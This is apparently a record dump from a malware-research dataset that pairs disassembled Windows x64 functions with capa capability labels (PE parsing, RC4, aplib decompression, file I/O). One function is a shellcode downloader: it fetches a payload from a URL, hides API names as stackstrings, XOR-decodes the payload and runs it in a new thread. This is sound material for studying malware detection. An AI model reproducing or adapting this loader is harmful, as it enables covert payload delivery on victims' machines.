joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400012dc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x140003638], rbx
je 0x140001328
cmp rax, rbx
jne 0x14000131b
mov ebx, 1
mov esi, ebx
jmp 0x14000132d
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140001300
mov ebx, 1
mov eax, dword [0x140003640]
cmp eax, ebx
jne 0x140001343
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x1400013a8
mov eax, dword [0x140003640]
test eax, eax
jne 0x1400013a2
mov dword [0x140003640], ebx
lea r15, [0x1400022c0]
lea rdi, [0x1400022a8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140001394
test eax, eax
jne 0x140001398
cmp qword [rdi], 0
je 0x140001389
mov rax, qword [rdi]
mov rcx, qword [0x140002288]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000136a
test eax, eax
je 0x1400013a8
mov eax, 0xff
jmp 0x140001484
mov dword [0x140003044], ebx
mov eax, dword [0x140003640]
cmp eax, ebx
jne 0x1400013cf
lea rdx, [0x1400022a0]
lea rcx, [0x140002290]
call sub.msvcrt.dll__initterm
mov dword [0x140003640], 2
test esi, esi
jne 0x1400013dc
xor eax, eax
xchg qword [0x140003638], rax
cmp qword [0x140003648], 0
je 0x140001410
lea rcx, [0x140003648]
call fcn.140001650
test eax, eax
je 0x140001410
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140003648]
mov r9, qword [0x140002288]
call r9
mov r8, qword [0x140003058]
mov rdx, qword [0x140003050]
mov ecx, dword [0x140003048]
call fcn.14000119c
mov dword [0x140003040], eax
cmp dword [0x140003060], 0
jne 0x140001440
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140003044], 0
jne 0x140001455
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140003040]
jmp 0x140001484
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call 0x140093000
add rsp, 0x28
jmp 0x1400012dc

Function at 0x140001550
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000159c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140001594
cmp dword [rcx + 0x3c], edx
jl 0x140001594
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140001594
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000159c
mov rax, rdx
add rsp, 0x18
ret
Function at 0x1400015f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rsi
push rdi
sub rsp, 0xe8
lea rax, [rsp + 0xa0]
lea rcx, str.http:__baidu.com
mov rdi, rax
mov rsi, rcx
mov ecx, 0x22
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x68], 0
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xa0]
call fcn.1400011a0
movzx eax, al
test eax, eax
jne 0x140001666
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140001889
call fcn.140001020
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.140001080
mov qword [rsp + 0x80], rax
mov byte [rsp + 0x40], 0x56
mov byte [rsp + 0x41], 0x69
mov byte [rsp + 0x42], 0x72
mov byte [rsp + 0x43], 0x74
mov byte [rsp + 0x44], 0x75
mov byte [rsp + 0x45], 0x61
mov byte [rsp + 0x46], 0x6c
mov byte [rsp + 0x47], 0x50
mov byte [rsp + 0x48], 0x72
mov byte [rsp + 0x49], 0x6f
mov byte [rsp + 0x4a], 0x74
mov byte [rsp + 0x4b], 0x65
mov byte [rsp + 0x4c], 0x63
mov byte [rsp + 0x4d], 0x74
mov byte [rsp + 0x4e], 0
mov byte [rsp + 0xc8], 0x43
mov byte [rsp + 0xc9], 0x72
mov byte [rsp + 0xca], 0x65
mov byte [rsp + 0xcb], 0x61
mov byte [rsp + 0xcc], 0x74
mov byte [rsp + 0xcd], 0x65
mov byte [rsp + 0xce], 0x54
mov byte [rsp + 0xcf], 0x68
mov byte [rsp + 0xd0], 0x72
mov byte [rsp + 0xd1], 0x65
mov byte [rsp + 0xd2], 0x61
mov byte [rsp + 0xd3], 0x64
mov byte [rsp + 0xd4], 0
mov byte [rsp + 0x88], 0x57
mov byte [rsp + 0x89], 0x61
mov byte [rsp + 0x8a], 0x69
mov byte [rsp + 0x8b], 0x74
mov byte [rsp + 0x8c], 0x46
mov byte [rsp + 0x8d], 0x6f
mov byte [rsp + 0x8e], 0x72
mov byte [rsp + 0x8f], 0x53
mov byte [rsp + 0x90], 0x69
mov byte [rsp + 0x91], 0x6e
mov byte [rsp + 0x92], 0x67
mov byte [rsp + 0x93], 0x6c
mov byte [rsp + 0x94], 0x65
mov byte [rsp + 0x95], 0x4f
mov byte [rsp + 0x96], 0x62
mov byte [rsp + 0x97], 0x6a
mov byte [rsp + 0x98], 0x65
mov byte [rsp + 0x99], 0x63
mov byte [rsp + 0x9a], 0x74
mov byte [rsp + 0x9b], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x80]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0xc8]
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov edx, 8
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x38]
mov r8b, 0x69
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call fcn.1400014b0
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call fcn.140001520
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x70]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x50]
mov qword [rsp + 0x78], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x60]
add rsp, 0xe8
pop rdi
pop rsi
ret
Function at 0x140001900
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0xb8
mov qword [rsp + 0xa8], 0xfffffffffffffffe
lea rdx, [0x140018658]
lea rcx, [rsp + 0x20]
call fcn.140001bc0
nop
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rsp + 0x48]
call fcn.140001bc0
nop
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x70]
call fcn.140001bc0
nop
mov dword [rsp + 0xa0], 0
jmp 0x140001966
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
movsxd rax, dword [rsp + 0xa0]
cmp rax, 3
jae 0x1400019cb
movsxd rax, dword [rsp + 0xa0]
imul rax, rax, 0x28
lea rax, [rsp + rax + 0x20]
mov rcx, rax
call fcn.140001c70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400019c9
mov byte [rsp + 0xa4], 1
lea r9, [fcn.140001c30]
mov r8d, 3
mov edx, 0x28
lea rcx, [rsp + 0x20]
call fcn.1400038c0
movzx eax, byte [rsp + 0xa4]
jmp 0x1400019f7
jmp 0x140001956
mov byte [rsp + 0xa5], 0
lea r9, [fcn.140001c30]
mov r8d, 3
mov edx, 0x28
lea rcx, [rsp + 0x20]
call fcn.1400038c0
movzx eax, byte [rsp + 0xa5]
add rsp, 0xb8
ret

Function at 0x1400071b4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140007024

Function at 0x140009567
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001f240]
jne 0x1400063fa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400063f6
repz ret
ror rcx, 0x10
jmp 0x1400094c0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140020c40]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140020d38]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140009545
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140020c40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140009567
mov rax, qword [rsp + 0x88]
mov qword [0x140020d38], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140020cd8], rax
mov rax, qword [0x140020d38]
mov qword [0x140020bb0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140020cc0], rax
mov dword [0x140020ba0], 0xc0000409
mov dword [0x140020ba4], 1
mov rax, qword [0x14001f240]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001f248]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140020c38], eax
mov ecx, 1
call fcn.140013a24
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140019af0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140020c38], 0
jne 0x1400095ee
mov ecx, 1
call fcn.140013a24
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140011128
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14001f240]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140004250
xor ebx, ebx
cmp qword [0x140021210], rbx
mov rdi, rax
jne 0x14001123b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140011312
lea rdx, [0x14001a910]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140011312
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140021210], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140021218], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140021220], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140021230], rax
test rax, rax
je 0x140011232
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140021228], rax
jmp 0x140011242
mov rax, qword [0x140021228]
jmp 0x140011249
mov rax, qword [0x140021228]
mov r11, qword [0x140021230]
cmp rax, rdi
je 0x1400112b0
cmp r11, rdi
je 0x1400112b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140021230]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400112b0
test rax, rax
je 0x1400112b0
call rsi
test rax, rax
je 0x1400112aa
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400112aa
test byte [rsp + 0x40], 1
jne 0x1400112b0
bts ebp, 0x15
jmp 0x1400112f0
mov rcx, qword [0x140021218]
cmp rcx, rdi
je 0x1400112f0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400112f0
call rax
mov rbx, rax
test rax, rax
je 0x1400112f0
mov rcx, qword [0x140021220]
cmp rcx, rdi
je 0x1400112f0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400112f0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140021210]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140011312
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140011314
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400063e0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140002830
Capabilities:
Get common file path

Disassembly:
push rbp
push rsi
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov qword [rbp - 8], 0
lea r9, [rbp - 8]
mov rcx, rdx
xor edx, edx
xor r8d, r8d
call sub.shell32.dll_SHGetKnownFolderPath
mov rcx, qword [rbp - 8]
test eax, eax
je 0x14000287b
call sub.ole32.dll_CoTaskMemFree
movabs rax, 0x8000000000000000
mov qword [rsi], rax
jmp 0x1400028a8
call sub.kernel32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rbp - 8]
lea rcx, [rbp - 0x28]
call fcn.140007670
mov rcx, qword [rbp - 8]
call sub.ole32.dll_CoTaskMemFree
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rax, rsi
add rsp, 0x58
pop rsi
pop rbp
ret
Function at 0x140005f90
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r12d, r12d
cmp r8, 0x201
jae 0x140006030
jmp 0x14000601f
jae 0x1400060f0
cmp r8, 0x201
jae 0x140006030
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140006088
sub r8, r12
sub rdi, r12
cmp rdi, r8
jae 0x14000605f
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.14001e4a0
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rbx, rax
mov r12d, 0xffffffff
cmovb r12, rbx
mov qword [rbp + 0x3d8], r12
mov rdi, rbx
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x1400060b1
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140006158
mov r8d, r14d
cmp r15, r8
jne 0x140006010
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140006185
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14000601f
jmp 0x140006030
cmp rsi, r8
jb 0x14000619f
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140007670
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rbx, rbx
je 0x140006141
add rbx, rbx
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rbx
call fcn.1400027e0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test rbx, rbx
jne 0x140006129
jmp 0x140006141
lea rcx, str.internal_error:_entered_unreachable_code_rustc_7cf61ebde7b22796c69757901dd346d0fe70bd97library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rs
mov edx, 0x28
call fcn.14001ee70
jmp 0x1400061b4
lea rax, str.library_std_src_syspalwindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14001f2c0
ud2
Function at 0x14000d3f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140063040]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x14000d434
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000d49a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14000d4d1
test eax, eax
js 0x14000d4ab
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14000d4c4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x1400630a0]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.1400074e0
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140004190
mov ecx, 7
int 0x29
ud2
Function at 0x14001c860
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14001c8da
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001c8d0
cmp r11, r10
ja 0x14001c965
cmp r10, rdx
ja 0x14001c977
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14001c8d2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001c8b0
jmp 0x14001c947
ja 0x14001c8da
mov r11, r10
cmp rax, r8
jne 0x14001c882
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14001c94b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001c920
mov r8, r10
sub ecx, r9d
jns 0x14001c93e
jmp 0x14001c94d
cmp r10, rdx
je 0x14001c959
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001c94d
xor al, 1
cmp r8, rdx
jne 0x14001c900
jmp 0x14001c94d
xor eax, eax
jmp 0x14001c94d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14001ed10
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001f340
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001f2c0
int3

Function at 0x14001df20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001df6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001df6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001df6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001df6a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001df6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001df6c
xor al, al
add rsp, 0x28
ret
Function at 0x140001908
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001952
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001952
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001952
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001952
cmp dword [rcx + 0x84], 0xe
jbe 0x140001952
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001954
xor al, al
add rsp, 0x28
ret

Function at 0x141581058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1415811df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141581089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14158106f
add dl, dl
jne 0x141581096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1415810f6
xor eax, eax
add dl, dl
jne 0x1415810a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1415811ad
add dl, dl
jne 0x1415810b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1415810c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1415810d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1415810dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1415810ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14158107e
mov eax, 1
add dl, dl
jne 0x141581106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141581113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1415810fb
sub eax, ebx
mov ebx, 1
jne 0x14158114c
mov ecx, 1
add dl, dl
jne 0x14158112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14158113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141581123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14158107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141581168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141581175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14158115d
cmp eax, 0x7d00
jae 0x14158119b
cmp eax, 0x500
jb 0x141581196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14158107e
cmp eax, 0x7f
ja 0x14158119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14158107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1415811d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14158107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001800
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r15
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
movdqa xmm0, xmmword [0x14000e480]
mov r15, rdx
movdqa xmm1, xmmword [0x14000e490]
xor edx, edx
mov ebp, r8d
xor r12d, r12d
lea r8, str.GlobalPWDTGFNEXSrv_Mux
mov rsi, r9
mov edi, r12d
lea ecx, [rdx + 1]
movdqu xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
jne 0x140001870
mov dword [rsi], 0x80000007
mov eax, 0x80004005
jmp 0x140001a0d
mov qword [rsp + 0x88], rbx
mov rcx, rax
mov qword [rsp + 0x80], r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
lea rcx, str..pipePWDTGfnex_srv_0
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000192b
lea r14, [rsp + 0x50]
cmp edi, 8
jae 0x1400019df
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
sub ecx, eax
add ecx, dword [r14]
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
lea rcx, str..pipePWDTGfnex_srv_0
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
inc edi
add r14, 4
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400018c5
lea r9, [rsp + 0x40]
mov byte [rsp + 0x48], 1
mov r8d, 8
mov word [rsp + 0x4a], bp
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x4c], r12d
mov rcx, rbx
mov dword [rsp + 0x40], 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], ebp
mov r8d, ebp
mov qword [rsp + 0x20], r12
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 8
mov r8d, 8
mov qword [rsp + 0x20], r12
lea rdx, [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp byte [rsp + 0x48], 0x81
jne 0x1400019ec
movzx r8d, word [rsp + 0x4a]
mov eax, dword [rsp + 0x4c]
cmp r8d, ebp
mov dword [rsi], eax
cmovae r8d, ebp
mov dword [rsp + 0x40], r8d
test r8d, r8d
je 0x1400019f2
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r12
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x1400019f2
mov dword [rsi], 0x80000006
mov eax, 0x80004005
jmp 0x1400019fd
mov dword [rsi], 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001a40
